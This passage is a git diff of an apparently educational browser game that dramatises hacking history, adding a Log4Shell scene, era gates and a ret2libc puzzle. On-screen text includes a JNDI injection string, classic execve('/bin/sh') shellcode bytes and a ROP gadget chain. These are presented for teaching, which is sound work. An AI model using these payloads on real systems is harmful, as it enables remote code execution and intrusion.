diff --git a/src/levels/climb.js b/src/levels/climb.js
index 0bf0559..e14184d 100644
--- a/src/levels/climb.js
+++ b/src/levels/climb.js
@@ -1,26 +1,47 @@
// THE CLIMB — hops 63 → 1, in one take, at speed, on fire.
-// Everything you walked through is now a corridor you are sprinting up, and each
-// one lasts about fifty seconds, and the modern era gets the three funny toys
-// because the modern era is the funny era.
+//
+// Everything you walked through is now a corridor you are sprinting up. Each era
+// gets one gate, and each gate hands you back a verb you learned there for exactly
+// one more use. That is the entire reason the sequence exists: not a highlight reel,
+// a final exam you did not know you had been sitting.
import * as THREE from '../../vendor/three.module.js';
import * as A from '../audio.js';
import * as In from '../input.js';
import { sprite, panel, glow, rng, clamp, damp } from '../kit.js';
-// in reverse, because that is the point
+// in reverse, because that is the point. `gate` is the verb that era taught you.
const ZONES = [
- { at: 0, name: '1971 · the trunk', bg: 0x030a14, fog: 0x0a1930, col: 0x2a5a8a, note: 'you came down through here without knowing what it was' },
- { at: 220, name: 'the copper', bg: 0x0a0704, fog: 0x1a1008, col: 0xff9a3c, note: null },
- { at: 440, name: 'the handshake', bg: 0x03060a, fog: 0x061219, col: 0x2ad8ff, note: null },
- { at: 660, name: 'the board', bg: 0x0d0700, fog: 0x2a1400, col: 0xffb648, note: 'the board is still up. it will be up until the line is disconnected.' },
- { at: 880, name: '1988', bg: 0x04060a, fog: 0x0a1014, col: 0x63ffa2, note: null },
- { at: 1100, name: 'efnet', bg: 0x0b0716, fog: 0x150e28, col: 0xff55ff, note: null },
- { at: 1320, name: 'the stack', bg: 0x05080b, fog: 0x0b141c, col: 0x9ff5ff, note: null },
- { at: 1540, name: 'modern', bg: 0xf2f7fa, fog: 0xfbfdff, col: 0x1a6d8e, note: 'and this is the part they armoured' },
+ { at: 0, name: '1971 · the trunk', bg: 0x030a14, fog: 0x0a1930, col: 0x2a5a8a,
+ gate: 'seize', note: 'you came down through here without knowing what any of it was' },
+ { at: 240, name: 'the copper', bg: 0x0a0704, fog: 0x1a1008, col: 0xff9a3c,
+ gate: 'beat', note: null },
+ { at: 480, name: 'the handshake', bg: 0x03060a, fog: 0x061219, col: 0x2ad8ff,
+ gate: 'phase', note: null },
+ { at: 720, name: 'the board', bg: 0x0d0700, fog: 0x2a1400, col: 0xffb648,
+ gate: 'bomb', note: 'the board is still up. it will be up until the line is disconnected.' },
+ { at: 960, name: '1988', bg: 0x04060a, fog: 0x0a1014, col: 0x63ffa2,
+ gate: 'worm', note: null },
+ { at: 1200, name: 'efnet', bg: 0x0b0716, fog: 0x150e28, col: 0xff55ff,
+ gate: 'split', note: null },
+ { at: 1440, name: 'the stack', bg: 0x05080b, fog: 0x0b141c, col: 0x9ff5ff,
+ gate: 'nx', note: null },
+ { at: 1680, name: 'modern', bg: 0xf2f7fa, fog: 0xfbfdff, col: 0x1a6d8e,
+ gate: null, note: 'and this is the part they armoured' },
];
-const SPECTRE_AT = 1620, ROWHAMMER_AT = 1780, LOG4_AT = 1940, END_AT = 2080;
+const GATE_AT = 150; // how far into a zone its gate sits
+const SPECTRE_AT = 1760, ROWHAMMER_AT = 1900, LOG4_AT = 2040, END_AT = 2200;
+
+const HINT = {
+ seize: 'hold SPACE — 2600 Hz',
+ beat: 'through the gap',
+ phase: 'it flips every 450 ms',
+ bomb: '!!!! K-RAD ANSI !!!!',
+ worm: 'they are still falling over',
+ split: 'the lit half',
+ nx: 'you may not stand there',
+};
let S = {};
@@ -30,8 +51,10 @@ export default {
async mount(ctx) {
const { scene, camera } = ctx;
- S = { t: 0, z: 0, x: 0, speed: 46, zone: -1, rings: [], done: false,
- spec: null, hammer: 0, hammered: false, log4: false, gateOpen: false };
+ S = { t: 0, z: 0, x: 0, speed: 44, zone: -1, rings: [], done: false,
+ spec: null, hammer: 0, hammered: false, log4: false, gateOpen: false,
+ gates: [], invert: 0, embers: [], stall: 0, passed: 0, failed: 0 };
+ window.__S = S; // debug handle
scene.fog = new THREE.FogExp2(0x0a1930, 0.012);
scene.background = new THREE.Color(0x030a14);
@@ -48,7 +71,6 @@ export default {
scene.add(r); S.rings.push(r);
}
- // debris, so speed reads
const rand = rng(64);
S.bits = [];
for (let i = 0; i < 160; i++) {
@@ -56,12 +78,24 @@ export default {
m.userData = { a: rand() * 6.28, r: 4 + rand() * 8, z: -rand() * 900, s: 0.4 + rand() * 1.4 };
scene.add(m); S.bits.push(m);
}
+ // ── it is on fire. the doc says so and it was not, and it should be.
+ for (let i = 0; i < 90; i++) {
+ const m = new THREE.Mesh(new THREE.TetrahedronGeometry(0.22 + rand() * 0.4), glow(0xff7a2a, 1.4));
+ m.userData = { a: rand() * 6.28, r: 2 + rand() * 10, z: -rand() * 900, s: 1.4 + rand() * 2.2, w: rand() * 6 };
+ m.visible = false;
+ scene.add(m); S.embers.push(m);
+ }
S.zoneTag = sprite('', { color: '#ffffff', size: 1.6 });
S.zoneTag.position.set(0, 6.5, -34); scene.add(S.zoneTag);
+ S.gateTag = sprite('', { color: '#ffd9a8', size: 1.1 });
+ S.gateTag.position.set(0, -6.0, -30); scene.add(S.gateTag);
+ S.gateTag.visible = false;
- // ── SPECTRE. you run down both sides of the branch at once. one of them never
- // happened, and you carry something out of it anyway.
+ // ── one gate per era, built from that era's furniture
+ ZONES.forEach(Z => { if (Z.gate) S.gates.push(this.makeGate(ctx, Z)); });
+
+ // ── SPECTRE
S.specGroup = new THREE.Group(); scene.add(S.specGroup);
S.ghostMe = new THREE.Mesh(new THREE.IcosahedronGeometry(0.5, 1),
new THREE.MeshBasicMaterial({ color: 0xff8ad8, transparent: true, opacity: 0.55 }));
@@ -70,7 +104,7 @@ export default {
S.specGroup.add(S.specToken);
S.specGroup.visible = false;
- // ── ROWHAMMER. a wall you hit until the room next door changes.
+ // ── ROWHAMMER
S.wall = new THREE.Mesh(new THREE.BoxGeometry(26, 22, 1.2),
new THREE.MeshStandardMaterial({ color: 0x1b2630, roughness: 0.9 }));
S.wall.position.set(0, 0, -(ROWHAMMER_AT + 40)); scene.add(S.wall);
@@ -78,12 +112,21 @@ export default {
S.wallTag.position.set(0, 4, -(ROWHAMMER_AT + 38)); scene.add(S.wallTag);
S.wallTag.visible = false;
- // ── LOG4SHELL. you write it on a piece of card and hold it up.
+ // ── LOG4SHELL
S.sign = panel('${jndi:ldap://x/}', { color: '#63ffa2', size: 2.0 });
S.sign.position.set(0, 0, -(LOG4_AT + 40)); scene.add(S.sign);
S.signBack = new THREE.Mesh(new THREE.BoxGeometry(22, 12, 0.5),
new THREE.MeshStandardMaterial({ color: 0x0a1a12, roughness: 1 }));
S.signBack.position.set(0, 0, -(LOG4_AT + 41)); scene.add(S.signBack);
+ // the fortress, which will walk over and read it
+ S.fortress = new THREE.Group();
+ for (let i = 0; i < 5; i++) {
+ const b = new THREE.Mesh(new THREE.BoxGeometry(3.4, 9 + i * 2, 3.4),
+ new THREE.MeshStandardMaterial({ color: 0xdfe8f2, roughness: 0.5 }));
+ b.position.set((i - 2) * 5.2, 0, 0); S.fortress.add(b);
+ }
+ S.fortress.position.set(0, 0, -(LOG4_AT + 90)); S.fortress.visible = false;
+ scene.add(S.fortress);
S.gate = new THREE.Mesh(new THREE.PlaneGeometry(24, 24),
new THREE.MeshBasicMaterial({ color: 0xff4a5e, transparent: true, opacity: 0.45, side: THREE.DoubleSide }));
@@ -95,19 +138,82 @@ export default {
A.pad([55, 82.41, 110, 164.81, 220], { gain: 0.05, type: 'sawtooth' });
S.hiss = A.carrier(0.05);
- ctx.hint('A Dsteer Euse');
+ ctx.hint('A Dsteer SPACEseize Euse');
await ctx.card('THE CLIMB', 'everything, in reverse, at speed', 2800);
+ ctx.say('every one of these taught you something. you get to use each of them once more.', 5600);
+ setTimeout(() => ctx.say('nothing up here can kill you. you already got this far.
it is only whether you take it clean.', 5600), 6000);
+ },
+
+ // ── the gates. Each is built out of the era it belongs to and tests its verb.
+ makeGate(ctx, Z) {
+ const z = -(Z.at + GATE_AT);
+ const g = { kind: Z.gate, z, col: Z.col, group: new THREE.Group(), done: false, ok: false };
+ ctx.scene.add(g.group);
+ g.group.position.z = z;
+
+ if (Z.gate === 'seize') {
+ // a trunk that will not let you past unless you tell it it is idle
+ const m = new THREE.Mesh(new THREE.TorusGeometry(9, 1.1, 8, 32), glow(0xff4a5e, 0.9));
+ g.group.add(m); g.ring = m;
+ }
+ if (Z.gate === 'beat') {
+ // a Strowger wiper. it steps. you go through the gap on the step.
+ const bar = new THREE.Mesh(new THREE.BoxGeometry(22, 2.2, 1.0), glow(0xff9a3c, 1.0));
+ g.group.add(bar); g.bar = bar;
+ }
+ if (Z.gate === 'phase') {
+ // ANSam. two panels, and which one is open flips every 450 ms.
+ [-1, 1].forEach(sgn => {
+ const p = new THREE.Mesh(new THREE.BoxGeometry(10, 22, 0.8),
+ new THREE.MeshBasicMaterial({ color: 0x2ad8ff, transparent: true, opacity: 0.5 }));
+ p.position.x = sgn * 5.6; g.group.add(p);
+ (g.panels = g.panels || []).push({ mesh: p, sgn });
+ });
+ }
+ if (Z.gate === 'bomb') {
+ const m = new THREE.Mesh(new THREE.TorusGeometry(9, 1.4, 6, 16), glow(0xffb648, 1.0));
+ g.group.add(m); g.ring = m;
+ const t = sprite('!!!! K-RAD ANSI !!!!', { color: '#ffb648', size: 1.0 });
+ t.position.y = 5; g.group.add(t);
+ }
+ if (Z.gate === 'worm') {
+ for (let i = 0; i < 4; i++) {
+ const m = new THREE.Mesh(new THREE.SphereGeometry(2.0, 12, 9), glow(0x63ffa2, 1.0));
+ m.position.x = -9 + i * 6;
+ g.group.add(m);
+ (g.nodes = g.nodes || []).push(m);
+ }
+ }
+ if (Z.gate === 'split') {
+ const dark = new THREE.Mesh(new THREE.BoxGeometry(12, 24, 0.6),
+ new THREE.MeshBasicMaterial({ color: 0x000000 }));
+ dark.position.x = -6; g.group.add(dark); g.dark = dark;
+ g.side = -1;
+ }
+ if (Z.gate === 'nx') {
+ const bad = new THREE.Mesh(new THREE.BoxGeometry(11, 24, 0.7),
+ new THREE.MeshBasicMaterial({ color: 0xff4a5e, transparent: true, opacity: 0.42 }));
+ bad.position.x = 5.5; g.group.add(bad); g.bad = bad;
+ const t = sprite('NX', { color: '#ff4a5e', size: 1.2 });
+ t.position.set(5.5, 5, 0); g.group.add(t);
+ }
+ return g;
},
update(dt, t, ctx) {
S.t += dt;
+
+ // the fortress reading a sign is worth stopping the world for
+ if (S.stall > 0) { S.stall -= dt; dt = 0; }
S.z += S.speed * dt;
- S.speed = Math.min(120, S.speed + dt * 2.2);
- S.x = clamp(S.x + In.axis().x * dt * 22, -8, 8);
+ S.speed = Math.min(120, S.speed + dt * 2.0);
+ S.invert = Math.max(0, S.invert - dt);
+ const steer = In.axis().x * (S.invert > 0 ? -1 : 1);
+ S.x = clamp(S.x + steer * dt * 22, -9, 9);
const cam = ctx.camera;
cam.position.set(S.x, Math.sin(S.t * 0.7) * 0.6, 0);
- cam.rotation.z = damp(cam.rotation.z, -In.axis().x * 0.12, 4, dt);
+ cam.rotation.z = damp(cam.rotation.z, -steer * 0.12, 4, dt);
S.light.position.set(S.x, 0, -14);
// ── zone crossfade
@@ -138,19 +244,126 @@ export default {
m.material.color.setHex(Z.col);
m.rotation.x += dt * 2; m.rotation.y += dt * 1.4;
});
+ // embers, thicker the higher you get
+ const heat = clamp(S.z / END_AT, 0, 1);
+ S.embers.forEach((m, i) => {
+ const u = m.userData;
+ m.visible = i / S.embers.length < heat * 1.2;
+ if (!m.visible) return;
+ u.z += S.speed * dt * u.s;
+ if (u.z > 6) { u.z = -900; u.a = Math.random() * 6.28; }
+ m.position.set(Math.cos(u.a + S.t * 0.3) * u.r, Math.sin(u.a + S.t * 0.3) * u.r, u.z);
+ m.rotation.x += dt * u.w; m.rotation.z += dt * u.w * 0.6;
+ m.material.color.setRGB(1, 0.35 + Math.sin(S.t * 6 + i) * 0.16, 0.1);
+ });
- // ── SPECTRE
+ this.gates(dt, ctx);
+ this.modern(dt, ctx);
+
+ if (S.z > END_AT && !S.done) {
+ S.done = true;
+ (async () => {
+ S.hiss.stop(); A.stopPad();
+ ctx.game.flags.climbClean = S.passed;
+ ctx.game.flags.climbGates = S.gates.length;
+ if (S.passed >= 6) ctx.phile('climb');
+ await ctx.card('ROOT', `${S.passed} of ${S.gates.length} clean · one hop remaining`, 3600);
+ ctx.next();
+ })();
+ }
+ },
+
+ // ── each gate, tested at the moment you cross its plane
+ gates(dt, ctx) {
+ for (const g of S.gates) {
+ const zz = g.z + S.z; // where it is relative to you
+ g.group.position.z = zz;
+ const near = zz > -170 && zz < 12;
+ g.group.visible = near;
+ if (!near) continue;
+
+ // telegraph
+ if (zz > -120 && !g.told) {
+ g.told = true;
+ S.gateTag.visible = true;
+ S.gateTag.userData.setText(HINT[g.kind] || '', '#ffd9a8');
+ }
+
+ // per-kind motion
+ if (g.kind === 'beat') {
+ g.bar.position.x = Math.sin(S.t * 2.1) * 9;
+ g.bar.material.color.setHex(0xff9a3c);
+ }
+ if (g.kind === 'phase') {
+ const open = Math.floor(S.t / 0.45) % 2 === 0 ? -1 : 1; // the real 450 ms
+ g.open = open;
+ g.panels.forEach(p => { p.mesh.material.opacity = p.sgn === open ? 0.05 : 0.55; });
+ }
+ if (g.kind === 'worm') {
+ g.nodes.forEach((m, i) => {
+ m.position.y = Math.sin(S.t * 1.6 + i * 1.4) * 5;
+ m.scale.setScalar(1 + Math.sin(S.t * 5 + i) * 0.12);
+ });
+ }
+ if (g.kind === 'split') {
+ if (!g.flipped && zz > -90) { g.flipped = true; g.side = Math.random() < 0.5 ? -1 : 1; }
+ g.dark.position.x = g.side * 6;
+ }
+ if (g.kind === 'seize') {
+ const held = In.down('Space');
+ g.ring.material.color.setHex(held ? 0x63ffa2 : 0xff4a5e);
+ if (held && !g.seizing) { g.seizing = A.seize(0.13); }
+ if (!held && g.seizing) { g.seizing.stop(0.05); g.seizing = null; }
+ }
+
+ // the moment of truth
+ if (!g.done && zz > -2) {
+ g.done = true;
+ S.gateTag.visible = false;
+ if (g.seizing) { g.seizing.stop(0.08); g.seizing = null; }
+ let ok = true, why = '';
+ switch (g.kind) {
+ case 'seize': ok = In.down('Space'); why = 'the trunk never went idle'; break;
+ case 'beat': ok = Math.abs(S.x - g.bar.position.x) > 6.0; why = 'the wiper had you'; break;
+ case 'phase': ok = Math.sign(S.x || 1) === g.open; why = 'wrong side of the reversal'; break;
+ case 'bomb': ok = true; break;
+ case 'worm': ok = g.nodes.every(n => Math.hypot(S.x - n.position.x, n.position.y) > 3.2); why = 'still infectious'; break;
+ case 'split': ok = Math.sign(S.x || 1) !== g.side; why = 'you rode the dead half'; break;
+ case 'nx': ok = S.x < 0; why = 'you may not stand there'; break;
+ }
+ if (g.kind === 'bomb') {
+ // no fail state. it just ruins you for six seconds, exactly as it did then.
+ S.invert = 6;
+ A.burst(2400, 3100, 0.3, 0.16);
+ ctx.say('your steering is inverted for six seconds', 4000);
+ S.passed++;
+ } else if (ok) {
+ S.passed++;
+ A.burst(880 + S.passed * 200, 1320 + S.passed * 200, 0.16, 0.16);
+ ctx.say(`clean ${S.passed}/${S.gates.length}`, 1600);
+ } else {
+ S.failed++;
+ A.burst(300, 220, 0.32, 0.2);
+ ctx.link.glitch = 0.4;
+ setTimeout(() => { ctx.link.glitch = 0; }, 400);
+ ctx.say(`${why}`, 2400);
+ }
+ }
+ }
+ },
+
+ // ── the three modern toys
+ modern(dt, ctx) {
if (S.z > SPECTRE_AT && S.z < SPECTRE_AT + 120) {
if (!S.spec) {
S.spec = { got: false, squashed: false };
S.specGroup.visible = true;
ctx.say('branch you are going to run down both sides of this. one of them is not going to have happened.', 5600);
}
- // the speculative you, mirrored — the timeline that gets thrown away
S.ghostMe.position.set(-S.x, 0, -8);
S.specToken.position.set(-4.5, 0, -26 + Math.sin(S.t * 2) * 3);
S.specToken.rotation.y += dt * 3;
- if (!S.spec.got && Math.abs(-S.x - S.specToken.position.x) < 2.2 && S.z > SPECTRE_AT + 40) {
+ if (!S.spec.got && Math.abs(-S.x - S.specToken.position.x) < 2.4 && S.z > SPECTRE_AT + 40) {
S.spec.got = true;
S.specToken.visible = false;
A.burst(1760, 2640, 0.24, 0.18);
@@ -163,10 +376,10 @@ export default {
if (S.spec.got) {
S.gateOpen = true;
ctx.say('the branch was squashed. it never happened. but it left a trace in the cache,
and you can read the cache.', 6400);
- ctx.phile('spectre', 'speculative execution', 'the timeline that was thrown away still warmed a cache line, and a cache line is a message.');
+ ctx.phile('spectre');
} else {
ctx.say('the branch was squashed and you brought nothing out of it.', 4000);
- ctx.spendTTL(1, 'mispredicted');
+ S.failed++;
}
}
if (S.gate) {
@@ -176,12 +389,11 @@ export default {
S.gate.material.opacity = S.gateOpen ? 0.08 : 0.45;
if (!S.gateOpen && Math.abs(gz) < 3 && !S.bounced) {
S.bounced = true;
- ctx.spendTTL(1, 'closed');
+ S.failed++;
A.burst(300, 220, 0.35, 0.2);
}
}
- // ── ROWHAMMER
const wz = -(ROWHAMMER_AT + 40) + S.z;
S.wall.position.z = wz;
S.wallTag.position.z = wz + 2;
@@ -201,44 +413,51 @@ export default {
ctx.link.glitch = 0;
A.burst(1320, 1980, 0.4, 0.2);
ctx.say('a bit flipped in a row you were never allowed to touch. you did not read it. you shouted next to it.', 6000);
- ctx.phile('rowhammer', 'rowhammer', 'you are not allowed in that row. nobody said you could not lean on the wall.');
+ ctx.phile('rowhammer');
}
}
}
if (Math.abs(wz) < 2 && !S.hammered && !S.wallHit) {
S.wallHit = true;
- ctx.spendTTL(1, 'wall');
+ S.failed++;
S.hammered = true; S.wall.visible = false; S.wallTag.visible = false;
}
- // ── LOG4SHELL. the biggest laugh in the game, sixty seconds before the end.
+ // ── LOG4SHELL. it gets its beat of silence.
const lz = -(LOG4_AT + 40) + S.z;
S.sign.position.z = lz + 0.6; S.signBack.position.z = lz;
+ S.fortress.position.z = lz - 50 + (S.log4 ? S.fortWalk : 0);
if (Math.abs(lz) < 70 && !S.log4) {
if (!S.log4Said) { S.log4Said = true; ctx.say('you write it on a piece of card.', 3200); }
if (In.useHit() || Math.abs(lz) < 30) {
S.log4 = true;
+ S.fortWalk = 0;
+ S.fortress.visible = true;
+ S.stall = 4.6; // everything stops. it comes over to read.
A.burst(660, 990, 0.4, 0.2);
- setTimeout(() => A.burst(1320, 1980, 0.5, 0.2), 300);
- S.signBack.visible = false;
- ctx.say('and the entire fortress walks over, reads it, and goes and fetches whatever you asked for.', 6000);
- setTimeout(() => ctx.say('you did nothing. you held up a sign.', 4600), 6200);
- ctx.phile('log4shell', '${jndi:ldap://}', 'it went and got it. it was very helpful. that was the bug.');
+ ctx.say('and you hold it up.', 3000);
+ (async () => {
+ await ctx.sleep(1800);
+ ctx.say('...', 1600);
+ await ctx.sleep(1800);
+ A.burst(1320, 1980, 0.5, 0.2);
+ ctx.say('and the entire fortress walks over, reads it, and goes and fetches
whatever you asked for.', 5600);
+ await ctx.sleep(5800);
+ ctx.say('you did nothing. you held up a sign.', 4600);
+ ctx.phile('log4shell');
+ S.signBack.visible = false;
+ })();
}
}
-
- if (S.z > END_AT && !S.done) {
- S.done = true;
- (async () => {
- S.hiss.stop(); A.stopPad();
- await ctx.card('ROOT', 'one hop remaining', 3200);
- ctx.next();
- })();
+ if (S.log4) {
+ S.fortWalk = (S.fortWalk || 0) + dt * 12;
+ S.fortress.children.forEach((b, i) => { b.position.y = Math.abs(Math.sin(S.t * 3 + i)) * 1.2; });
}
},
async unmount(ctx) {
S.hiss?.stop();
+ S.gates?.forEach(g => g.seizing?.stop(0.05));
A.stopPad();
ctx.link.glitch = 0;
document.body.classList.remove('ink-dark');
diff --git a/src/levels/root.js b/src/levels/root.js
index edfe146..a5c7bd6 100644
--- a/src/levels/root.js
+++ b/src/levels/root.js
@@ -229,6 +229,8 @@ export default {
: f.baudEarned <= 1 ? 'you saw most of this in letters'
: `you negotiated ${BAUDS[f.baudEarned].label} and lived with it`);
}
+ if (f.climbGates) lines.push(f.climbClean >= f.climbGates ? 'you took the whole climb clean'
+ : `${f.climbClean} of ${f.climbGates} on the way up`);
if (f.elite) lines.push('somebody vouched for you');
if (f.knowsTheTrunk) lines.push('you hung up without saying goodbye');
if (g.cargo.length) lines.push(`still carrying ${g.cargo.length}`);
diff --git a/src/levels/smash.js b/src/levels/smash.js
index 4f1f531..19baa0e 100644
--- a/src/levels/smash.js
+++ b/src/levels/smash.js
@@ -10,6 +10,23 @@ import { Body, sprite, panel, glow, damp, clamp } from '../kit.js';
const CELL = 2.2; // one byte, in metres
const WANT = ['A0', 'F7', 'FF', 'BF']; // 0xBFFFF7A0, little-endian, as you write it
+// ── ret2libc.
+// The chain is the real one: a bare ret for stack alignment, pop rdi to load the
+// argument, the address of the string, then system. Everything else on the shelf is
+// a genuine gadget that is genuinely no use to you here, which is exactly what
+// building one of these is actually like.
+const CHAIN = ['ret', 'pop rdi ; ret', '"/bin/sh"', 'system@plt'];
+const GADGETS = [
+ { sym: 'ret', x: 122, y: 5.6 },
+ { sym: 'xor rax,rax ; ret', x: 130, y: 8.4 },
+ { sym: 'pop rdi ; ret', x: 138, y: 6.2 },
+ { sym: 'leave ; ret', x: 146, y: 9.6 },
+ { sym: '"/bin/sh"', x: 154, y: 7.0 },
+ { sym: 'pop rsi ; ret', x: 162, y: 10.4 },
+ { sym: 'system@plt', x: 170, y: 7.8 },
+ { sym: 'mov [rdi],rsi', x: 132, y: 12.2 },
+];
+
let S = {};
const TILE = {
@@ -17,7 +34,9 @@ const TILE = {
ebp: { face: 0x4a3a5e, edge: 0xc89fff, ink: '#d8b8ff' },
ret: { face: 0x6a4a12, edge: 0xffb648, ink: '#ffd9a8' },
nop: { face: 0x1e5c38, edge: 0x63ffa2, ink: '#9fffc8' },
- shell: { face: 0x6a1030, edge: 0xff6a8a, ink: '#ff9fb8' },
+ shell: { face: 0x6a1030, edge: 0xff6a8a, ink: '#ff9fb8' },
+ gadget: { face: 0x2a2438, edge: 0x8f7fc0, ink: '#c8b8f0' },
+ exit: { face: 0x0d2a18, edge: 0x63ffa2, ink: '#9fffc8' },
};
function tile(ctx, ix, y, w, kind, label, colour) {
@@ -48,7 +67,9 @@ export default {
async mount(ctx) {
const { scene, camera } = ctx;
- S = { t: 0, written: [], hasCanary: false, canaryAngry: false, phase: 'buf', slid: 0, done: false };
+ S = { t: 0, written: [], hasCanary: false, canaryAngry: false, phase: 'buf', slid: 0, done: false,
+ nx: false, ropAt: 0, bridges: [], gadgets: [] };
+ window.__S = S; // debug handle
scene.background = new THREE.Color(0x080d14);
scene.fog = new THREE.Fog(0x080d14, 60, 220);
@@ -113,12 +134,39 @@ export default {
S.sled.push(b);
}
// ── and the shellcode, on the far side of it
- tile(ctx, 114, 0.8, 8, 'shell', 'shellcode', 0x3a0d1a);
- const sc = panel('\\x31\\xc0\\x50\\x68//sh\\x68/bin\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80',
+ S.shellTile = tile(ctx, 114, 0.8, 8, 'shell', 'shellcode', 0x3a0d1a);
+ S.shellPanel = panel('\\x31\\xc0\\x50\\x68//sh\\x68/bin\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80',
{ color: '#ff6a8a', size: 0.55 });
- sc.position.set(117.5 * CELL, 4.2, 0); scene.add(sc);
+ S.shellPanel.position.set(117.5 * CELL, 4.2, 0); scene.add(S.shellPanel);
S.shellX = 114 * CELL;
+ // ── libc. It is already mapped. It is already executable. It is full of small
+ // useful endings that somebody else wrote for entirely different reasons.
+ // You do not get to write code any more. You get to put theirs in an order.
+ S.gadgets = [];
+ GADGETS.forEach((g, i) => {
+ const b = tile(ctx, g.x, g.y, 2, 'gadget', null, 0x2a2438);
+ b.gad = g.sym;
+ b.decoy = !CHAIN.includes(g.sym);
+ const s = sprite(g.sym, { color: '#8f7fc0', size: 0.62 });
+ s.position.set(b.mesh.position.x, g.y + 1.45, 0);
+ scene.add(s);
+ b.tag = s;
+ b.mesh.visible = false; b.edge.visible = false; s.visible = false;
+ b.disabled = true; // not there until NX turns on
+ S.gadgets.push(b);
+ });
+ S.ropReadout = sprite('', { color: '#c89fff', size: 0.8 });
+ S.ropReadout.position.set(150 * CELL, 12, 0); scene.add(S.ropReadout);
+ S.ropReadout.visible = false;
+
+ // the far side, past the chain
+ S.exitTile = tile(ctx, 176, 5.0, 6, 'exit', 'execve', 0x0d2a18);
+ S.exitTile.mesh.visible = false; S.exitTile.edge.visible = false;
+ S.exitTile.label.visible = false;
+ S.exitTile.disabled = true;
+ S.exitX = 176 * CELL;
+
// a ghost who chain-smokes and is credited only as Aleph One
S.ghost = new THREE.Group();
const gb = new THREE.Mesh(new THREE.SphereGeometry(0.5, 14, 10),
@@ -232,16 +280,124 @@ export default {
if (Math.random() < 0.25) A.blip(1400 + Math.random() * 200, 0.008, 0.02);
}
- if (b.pos.x > S.shellX + 2 && !S.done) {
+ // ── you reach the shellcode, and that is the exact moment NX arrives
+ if (b.pos.x > S.shellX + 2 && !S.nx) { S.nx = true; this.noExecute(ctx); }
+
+ // ── the chain
+ if (S.nx && b.grounded && b.ground && b.ground.kind === 'gadget') this.gadget(ctx, b.ground);
+ if (S.gadgets) S.gadgets.forEach(g => {
+ if (!g.tag.visible) return;
+ const lit = S.ropAt > 0 && CHAIN.indexOf(g.gad) > -1 && CHAIN.indexOf(g.gad) < S.ropAt;
+ g.tag.userData.setText(g.gad, lit ? '#63ffa2' : g.armed ? '#ffd9a8' : '#8f7fc0');
+ });
+
+ if (S.nx && b.pos.x > S.exitX + 2 && !S.done) {
S.done = true;
(async () => {
A.burst(220, 330, 0.6, 0.2);
- await ctx.card('SHELLCODE', 'execve("/bin/sh", ...)', 3200);
+ await ctx.card('execve("/bin/sh")', 'you did not write a single instruction', 3600);
ctx.next();
})();
}
},
+ // ── W^X. The page is writable or it is executable and it is never both. Your
+ // beautiful sixteen bytes are still sitting there, intact, and completely inert.
+ async noExecute(ctx) {
+ A.thud(60, 0.9, 0.35);
+ ctx.link.glitch = 0.6;
+ // everything you built goes dead under your feet
+ [S.shellTile, ...S.sled].forEach(t => {
+ t.tag = 'nx';
+ t.mesh.material.color.setHex(0x3a0d14);
+ if (t.mesh.material.emissive) t.mesh.material.emissive.setHex(0x000000);
+ t.edge.material.color.setHex(0xff4a5e);
+ });
+ S.shellPanel.material.opacity = 0.25; S.shellPanel.material.transparent = true;
+ ctx.say('*** NX ***', 2400);
+ await ctx.sleep(1600);
+ ctx.link.glitch = 0;
+ ctx.say('the page is writable or it is executable. it is never both.', 4600);
+ await ctx.sleep(4800);
+ ctx.say('your sixteen bytes are still there. every one of them is correct.
none of them will ever run.', 5600);
+ await ctx.sleep(5800);
+
+ // libc arrives — already mapped, already executable, already somebody else's
+ S.gadgets.forEach((g, i) => {
+ g.disabled = false;
+ g.mesh.visible = true; g.edge.visible = true; g.tag.visible = true;
+ setTimeout(() => A.blip(600 + i * 90, 0.02, 0.04), i * 90);
+ });
+ S.exitTile.mesh.visible = true; S.exitTile.edge.visible = true; S.exitTile.label.visible = true;
+ S.exitTile.disabled = false;
+ S.ropReadout.visible = true;
+ S.ropAt = 0;
+ this.ropUI();
+
+ ctx.say('but libc is already mapped, and libc is already executable,
and libc is full of small useful endings.', 5600);
+ await ctx.sleep(5800);
+ ctx.say('you do not get to write code any more. you get to put somebody else\'s in an order.', 5600);
+ ctx.phile('nx');
+ ctx.hint('A Dmove
SPACEjump
land on the gadgets in order');
+ },
+
+ ropUI() {
+ S.ropReadout.userData.setText(
+ CHAIN.map((c, i) => i < S.ropAt ? c : '·'.repeat(Math.min(12, c.length))).join(' → '),
+ S.ropAt >= CHAIN.length ? '#63ffa2' : '#c89fff');
+ },
+
+ // ── landing on a gadget. In order it extends the chain and lays a bridge behind
+ // you out of the two you have joined. Out of order it all comes apart, because
+ // a ROP chain is not a set of moves, it is one move with several parts.
+ gadget(ctx, g) {
+ if (g.gad === CHAIN[S.ropAt - 1]) return; // still standing on the last one
+ if (g.gad !== CHAIN[S.ropAt]) {
+ if (!g.armed && S.ropAt > 0) {
+ A.burst(300, 220, 0.4, 0.2);
+ ctx.say(`${g.gad} — real gadget. no use to you here.
the chain comes apart.`, 3600);
+ ctx.spendTTL(1, 'chain broke');
+ S.ropAt = 0;
+ S.gadgets.forEach(x => { x.armed = false; x.edge.material.color.setHex(0x8f7fc0); });
+ S.bridges.forEach(b => { ctx.scene.remove(b.mesh); b.box.disabled = true; });
+ S.bridges.length = 0;
+ this.ropUI();
+ }
+ return;
+ }
+ // correct link
+ const prev = S.ropAt > 0 ? S.gadgets.find(x => x.gad === CHAIN[S.ropAt - 1]) : null;
+ g.armed = true;
+ g.edge.material.color.setHex(0x63ffa2);
+ A.burst(880 + S.ropAt * 260, 1320 + S.ropAt * 260, 0.16, 0.18);
+ S.ropAt++;
+ this.ropUI();
+ if (prev) this.bridge(ctx, prev, g);
+ if (S.ropAt >= CHAIN.length) {
+ // and the last link reaches the far side
+ this.bridge(ctx, g, S.exitTile);
+ ctx.say('ret → pop rdi → "/bin/sh" → system', 4200);
+ ctx.phile('ret2libc');
+ ctx.spendTTL(1);
+ }
+ },
+
+ // a bridge is literally the two ends you joined, made walkable
+ bridge(ctx, a, b) {
+ const ax = (a.min.x + a.max.x) / 2, ay = a.max.y;
+ const bx = (b.min.x + b.max.x) / 2, by = b.max.y;
+ const len = Math.hypot(bx - ax, by - ay);
+ const m = new THREE.Mesh(new THREE.BoxGeometry(len, 0.22, 3.4), glow(0x63ffa2, 0.9));
+ m.position.set((ax + bx) / 2, (ay + by) / 2 + 0.11, 0);
+ m.rotation.z = Math.atan2(by - ay, bx - ax);
